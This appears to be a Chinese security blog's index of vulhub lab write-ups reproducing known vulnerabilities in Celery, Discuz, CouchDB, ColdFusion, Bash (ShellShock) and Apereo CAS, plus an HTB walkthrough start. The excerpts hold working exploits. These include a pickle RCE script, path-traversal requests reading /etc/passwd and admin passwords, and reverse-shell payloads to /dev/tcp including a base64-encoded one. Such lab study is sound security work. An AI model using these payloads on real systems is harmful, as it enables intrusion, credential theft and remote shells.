Celery<4.0未授权访问&Pickle反序列化利用漏洞复现

漏洞描述 Celery是一个简单、灵活、可靠的分布式系统,用于处理大量消息的同时也为操作提供维护此类系统所需的工具,其专注于实时处理的任务队列,支持任务调度。 Celery 4.0以下版本默认使用Pickle进行任务消息的序列化传递,而当所用队列服务(Redis、RabbitMQ、RocketMQ等)存在未授权访问问题时,便可利用Pickle反序列化漏洞实现任意代码执行。 影响版本 Celery 4.0以下版本。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/celery/celery3_redis_unauth docker-compose up -d 在受害主机/tmp目录生成celery_success文件EXP,可根据需求自行修改command内容: import pickle import json import base64 import redis import sys r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0) ori_str="{\"content-type\": \"application/x-python-serialize\", \"properties\": {\"delivery_tag\": \"16f3f59d-003c-4ef4-b1ea-6fa92dee529a\", \"reply_to\": \"9edb8565-0b59-3389-944e-a0139180a048\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"delivery_info\": {\"routing_key\": \"celery\", \"priority\": 0, \"exchange\": \"celery\"}, \"correlation_id\": \"6e046b48-bca4-49a0-bfa7-a92847216999\"}, \"headers\": {}, \"content-encoding\": \"binary\", \"body\": \"gAJ9cQAoWAMAAABldGFxAU5YBQAAAGNob3JkcQJOWAQAAABhcmdzcQNLZEvIhnEEWAMAAAB1dGNxBYhYBAAAAHRhc2txBlgJAAAAdGFza3MuYWRkcQdYAgAAAGlkcQhYJAAAADZlMDQ2YjQ4LWJjYTQtNDlhMC1iZmE3LWE5Mjg0NzIxNjk5OXEJWAgAAABlcnJiYWNrc3EKTlgJAAAAdGltZWxpbWl0cQtOToZxDFgGAAAAa3dhcmdzcQ19cQ5YBwAAAHRhc2tzZXRxD05YBwAAAHJldHJpZXNxEEsAWAkAAABjYWxsYmFja3NxEU5YBwAAAGV4cGlyZXNxEk51Lg==\"}" task_dict = json.loads(ori_str) command = 'touch /tmp/celery_success' class Person(object): def __reduce__(self): # 未导入os模块,通用 return (__import__('os')....

Created: 2022-02-19 · Updated: 2022-02-19 · 0opsdc

Discuz代码执行 Wooyun-2010-080723漏洞复现

漏洞描述 PHP 5.3.x版本php.ini配置文件中request_order参数的默认值为GP,导致$_REQUEST不再包含$_COOKIE,攻击者可通过Cookie传入$GLOBALS覆盖全局变量,进一步实现代码执行。 影响版本 Discuz 6.x版本。 Discuz 7.x版本。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/discuz/wooyun-2010-080723 docker-compose up -d 环境启动之后直接访问http://<ip>:8080会显示Discuz! info: Can not connect to MySQL server错误,需要先在http://<ip>:8080/install页面安装Discuz,数据库地址填写为db,数据库及管理员密码自行填写即可: 随机抓一个帖子的数据包: GET /viewthread.php?tid=13&extra=page%3D1 HTTP/1.1 Host: <ip> Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://<ip>/forumdisplay.php?fid=2 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; 8p0_sid=uUasIs; 8p0_onlineusernum=1; 8p0_visitedfid=2; 8p0_oldtopics=D13D; 8p0_fid2=1645160609 Connection: close 将包发送到重放器,修改Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); 发包后查看响应,成功返回phpinfo页面,同理可写shell,文件x.php,密码oopsdc:...

Created: 2022-02-18 · Updated: 2022-02-18 · 0opsdc

Apache CouchDB垂直越权 CVE-2017-12635漏洞复现

漏洞描述 Apache CouchDB是一个开源数据库,其使用JSON作为数据存储格式、JavaScript作为查询语言、MapReduce和HTTP作为NoSQL数据库。 漏洞成因在于Erlang和JavaScript对JSON数据解析方式不同,对于重复的键,Erlang会存储两个值,而JavaScript只存储第二个值,从而导致语句执行有差异,可被攻击者用于垂直越权。 示例: Erlang: jiffy:decode("{"a":"1","a":"2"}"). {[{<<"a">>,<<"1">>},{<<"a">>,<<"2">>}]} JavaScript: JSON.parse("{"a":"1","a":"2"}") {a:"2"} 影响版本 1.7.0、2.1.1版本以下均受影响。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/couchdb/CVE-2017-12635 docker-compose up -d 访问http://<ip>:5984/_utils,会跳转到登录页面,使用bp构造如下请求包: PUT /_users/org.couchdb.user:oopsdc HTTP/1.1 Host: <ip>:5984 Content-Length: 92 accept: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Origin: http://<ip>:5984 Referer: http://<ip>:5984/_utils/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 { "type": "user", "name": "oopsdc", "roles":[ "_admin"], "password": "oopsdc" } 响应包如下: HTTP/1.1 403 Forbidden X-CouchDB-Body-Time: 0 X-Couch-Request-ID: 4ab931d550 Server: CouchDB/2....

Created: 2022-02-15 · Updated: 2022-02-15 · 0opsdc

Adobe ColdFusion反序列化 CVE-2017-3066漏洞复现

漏洞描述 Adobe ColdFusion是一个动态Web服务器,其所采用的CFML(ColdFusion Markup Language)程序设计语言类似JSP的JSTL(JSP Standard Tag Lib),CFML是一种针对Web应用的脚本语言,文件后缀为.cfm。 Adobe ColdFusion存在Java反序列化漏洞,攻击者可通过该漏洞在应用程序上下文中执行任意代码或造成拒绝服务。 影响版本 Adobe ColdFusion(2016 release) Update 3及之前版本。 Adobe ColdFusion 11 Update 11及之前版本。 Aodbe ColdFusion 10 Update 22及之前版本。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/coldfusion/CVE-2017-3066 docker-compose up -d 访问链接http://<ip>:8500/,显示页面无法展示,还有一个大的404头像。 访问http://<IP>:8500/CFIDE/administrator/index.cfm,默认密码为vulhub,然后有一个初始化成功页面。 利用工具: Releases · codewhitesec/ColdFusionPwn (github.com) https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar 生成poc.ser: java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-master-SNAPSHOT.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'ping oopsdc.zzn11a.dnslog.cn' poc.ser 然后抓取访问http://<ip>:8500/flex2gateway/amf的数据包,请求方式更改为POST,Content-Type更改为application/x-amf,在最后面选择从文件中复制,然后将poc.ser文件内容粘贴到请求中,点击转发包,查看dnslog记录即可。 文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。

Created: 2022-01-27 · Updated: 2022-01-27 · 0opsdc

Adobe ColdFusion文件读取 CVE-2010-2861漏洞复现

漏洞描述 Adobe ColdFusion是一个动态Web服务器,其所采用的CFML(ColdFusion Markup Language)程序设计语言类似JSP的JSTL(JSP Standard Tag Lib),CFML是一种针对Web应用的脚本语言,文件后缀为.cfm。 Adobe ColdFusion 8及Adobe ColdFusion 9版本存在目录穿越漏洞,攻击者可在未授权的情况下读取任意文件。 影响版本 Adobe ColdFusion 8、Adobe ColdFusion 9。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/coldfusion/CVE-2010-2861 docker-compose up -d 访问http://<ip>:8500/CFIDE/administrator/enter.cfm页面,默认密码为admin,登录成功之后会有一个初始化成功页面。 之后的文件读取步骤可能会因为URL编码或Cookie无法成功,所以用bp进行包重放。 读取系统用户信息: GET /CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en HTTP/1.1 Host: <ip>:8500 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close 读取管理员密码: GET /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en HTTP/1.1 Host: <ip>:8500 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5....

Created: 2022-01-27 · Updated: 2022-01-27 · 0opsdc

HTTPoxy CVE-2016-5385漏洞复现

漏洞描述 漏洞原理在CGI变量命名不规范,CGI程序在接收到HTTP Header后会将部分Header信息存在HTTP_开头的变量中。但CGI程序环境变量本身已经定义了HTTP_PROXY变量,旨在为CGI程序设置代理,如果攻击者在请求中带上了Proxy头,则已定义的HTTP_PROXY变量将被覆盖,实现当前请求的变量劫持,并不会对全局变量造成影响。 所以其本质在于CGI环境变量劫持,如果CGI程序在运行过程中依赖HTTP_PROXY变量,则攻击者可获取敏感数据或伪造返回包对CGI程序进行欺骗。 影响版本 任何以CGI方式运行的程序,但需满足以下三点条件: CGI程序对外发送请求; CGI程序依赖HTTP_PROXY变量; CGI程序与外部使用HTTP协议进行通信。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/cgi/httpoxy docker-compose up -d 抓取访问包: GET /index.php HTTP/1.1 Host: <ip>:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 If-None-Match: "61cb2d26-267" If-Modified-Since: Tue, 28 Dec 2021 15:28:38 GMT Connection: close 响应包: HTTP/1.1 200 OK Server: nginx/1.21.5 Date: Sun, 16 Jan 2022 06:35:17 GMT Content-Type: application/json; charset=utf-8 Connection: close X-Powered-By: PHP/5....

Created: 2022-01-16 · Updated: 2022-01-16 · 0opsdc

ShellShock CVE-2014-6271漏洞复现

漏洞描述 ShellShock是一个BashShell漏洞,通常情况下系统内的Shell有严格权限控制,但GNU Bash在 4.3及之前版本存在安全漏洞,Bash运行过程中会调用操作系统的环境变量,攻击者可向环境变量值内的函数定义后添加多余字符串触发漏洞,通过改变或绕过环境限制来执行Shell命令。 Bash使用的环境变量通过函数名称进行调用,漏洞原因在于以(){开头定义的环境变量在命令ENV中解析为函数后,Bash执行并未退出,而是继续解析并执行Shell命令,攻击者可借此实现反弹Shell等行为。 漏洞的核心原因在于输入过滤中没有严格的限制边界,没有做合法化的参数判断。 影响版本 GNU Bash 4.3及之前版本。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/bash/shellshock docker-compose up -d 环境启动后可尝试访问http://<ip>:<port>/victim.cgi查看是否启动成功。 攻击机监听端口: nc -lvnp <port> 抓取当前页面的访问数据包,修改User-Agent构造一个反弹Shell的payload: User-Agent:() { :; }; /bin/bash -i >& /dev/tcp/<ip>/<port> 0>&1; 成功反弹Shell。 漏洞分析 复现目录下存在safe.cgi和victim.cgi两个cgi文件,我们使用diff命令看看两者的差异: # 命令 diff safe.cgi victim.cgi # 结果 1c1 < #!/bin/bash --- > #!/usr/local/bash-4.3.0/bin/bash # 输出信息讲解 1c1:表示第一个文件的第1行与第二个文件的第1行不匹配 <:表示第一个文件中的数据行 >:表示第二个文件中的数据行 可以发现两者Bash版本不同,而在访问http://<ip>:<port>/safe.cgi时,漏洞无法复现成功。 Web服务器通过环境变量获取浏览器参数,然后交给CGI程序,环境中的CGI程序是有漏洞版本的Bash生成的,因此在HTTP头部中注入的浏览器参数被Bash当作环境变量解析并执行了。 文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。

Created: 2021-12-29 · Updated: 2021-12-29 · 0opsdc

AppWeb认证绕过 CVE-2018-8715漏洞复现

漏洞描述 AppWeb使用以下三种认证方式: 认证方式 认证原理 basic 传统HTTP基础认证 digest 改良版HTTP基础认证,认证通过后不再传递Authorization头,而使用Cookie保存状态 form 表单认证 在7.0.3之前版本,若认证方式为digest或form,此时攻击者可通过不传递密码参数,利用AppWeb逻辑错误成功认证并获取session。 AppWeb使用C/C++语言进行编写,是Embedthis Software LLC公司开发维护的一个基于GPL开源协议的嵌入式Web Server,主要应用场景在于为嵌入式设备提供Web Application容器。 影响版本 AppWeb 7.0.3之前版本。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/appweb/CVE-2018-8715 docker-compose up -d 访问http://<ip>:<port>,会弹出一个登录框,此时需要输入一个存在的用户名,猜测为admin,密码随意输入,抓取登录包并构造Authorization: Digest username=admin,点击发送,成功绕过认证。 文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。

Created: 2021-12-25 · Updated: 2021-12-25 · 0opsdc

Apereo CAS RCE漏洞复现

漏洞描述 Apereo CAS是2002年耶鲁大学实验室推出的一个开源统一认证服务,CAS即Central Authentication Service,其漏洞成因在于Webflow中使用了默认密钥changeit,攻击者可通过默认密钥触发反序列化漏洞,实现RCE。 影响版本 Apereo CAS 4.1.x ~ 4.1.6。 漏洞复现 git clone https://github.com/vulhub/vulhub.git cd vulhub/apereo-cas/4.1-rce docker-compose up -d 利用工具:vulhub/Apereo-CAS-Attack: WIP: Demo for Attacking Apereo CAS (github.com) 反弹shell编码:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca) bash -i >& /dev/tcp/<ip>/<port> 0>&1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC88aXA+Lzxwb3J0PiAwPiYx}|{base64,-d}|{bash,-i} 利用工具里ysoserial的CommonsCollections4生成payload: java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC88aXA+Lzxwb3J0PiAwPiYx}|{base64,-d}|{bash,-i}" 在攻击机上打开一个监听终端: nc -lnvp <port> 访问http://<ip>:<port>/cas/login登录页面,抓取登录数据包,将execution替换为生成的payload: username=admin&password=123456<=LT-3-gwwPiolLX4sdBIY5cz0jhZSeWcsuHz-cas01.example.org&execution=<payload>&_eventId=submit&submit=LOGIN 替换完成之后转发数据包,监听终端成功反弹一个shell。 文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。

Created: 2021-12-25 · Updated: 2021-12-25 · 0opsdc

HTB-Starting Point

Archetype 目标:拿到用户权限与系统权限。 靶机IP:10.10.10.27。 1、信息收集 先使用nmap看看靶机开放了什么端口: sudo nmap -sS -sV 10.10.10.27 # 参数讲解 sS:使用SYN半开放式扫描,扫描快,隐蔽性高 sV:探测服务版本 # 扫描结果 Nmap scan report for 10.10.10.27 (10.10.10.27) Host is up (0.28s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000 Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows 比较容易入手的就是445端口对应的SMB服务,1433是SQL Server的默认端口。先尝试能否匿名访问SMB服务,这里使用Kali预装的smbclient:...

Created: 2021-09-01 · Updated: 2021-09-01 · 0opsdc